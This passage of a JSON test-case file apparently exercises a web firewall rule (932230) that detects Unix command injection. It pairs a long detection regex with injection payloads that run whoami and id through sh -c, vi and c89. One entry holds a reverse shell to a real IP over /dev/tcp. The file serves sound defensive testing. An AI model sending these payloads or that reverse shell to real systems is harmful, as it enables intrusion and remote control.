"(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'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\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "System Command Injection test for BB finding 935E1D91" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=ti''me+sh+-c+whoami" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(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?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "System Command Injection test for BB finding 935E1D91 - time evasion attempt" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo='TiMe+Sh+-c+whoami" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|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||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "System Command Injection test for BB finding AV6ZO3ZS - mixed case" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "'cmd%3Da%3B%20sh%24XX%20-c%20whoami" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0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-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "System Command Injection test for BB finding 9JJOOBTP - sh -c" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "text=Schauen%20Sie%20sich%20diese%20Zahl%20an%3A%201%27000%27000\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\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(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Negative test on German numbering - Schauen Sie sich diese Zahl an: 1'000'000" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "cmd=d%3D%2Fdev%26%26(sh)0%3E%24d%2Ftcp%2F51.15.142.164%2F777" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(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(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "Positive test - BB BBBZARPI - d=/dev&&(sh)0>$d/tcp/51.15.142.164/777" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;c89 -wrapper sh,-c,id .\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\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s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*)|g[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "55O5COJ5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;c89 -wrapper sh,-c,curl\\ google.com .\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-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\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "55O5COJ5" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|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\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vim dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(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(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;ex dddd +silent\\\\ \\!whoami +wq\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\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\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*)|g[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:(?:[&\\),<>\\|]|$){1,10}|(?:[\\-\\.0-9A-Z_a-z][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?){1,10}(?:[\\s\\x0b&\\),<>\\|\\}]|$){1,10})|(?:d[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b|[hr][\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?c|p[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?g)[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?(?:[\\s\\x0b&\\),<>\\|]|$).*))\\b", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932230", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vi -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?m[\\\"'\\)\\[\\x5c]*(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?:(?:(?:\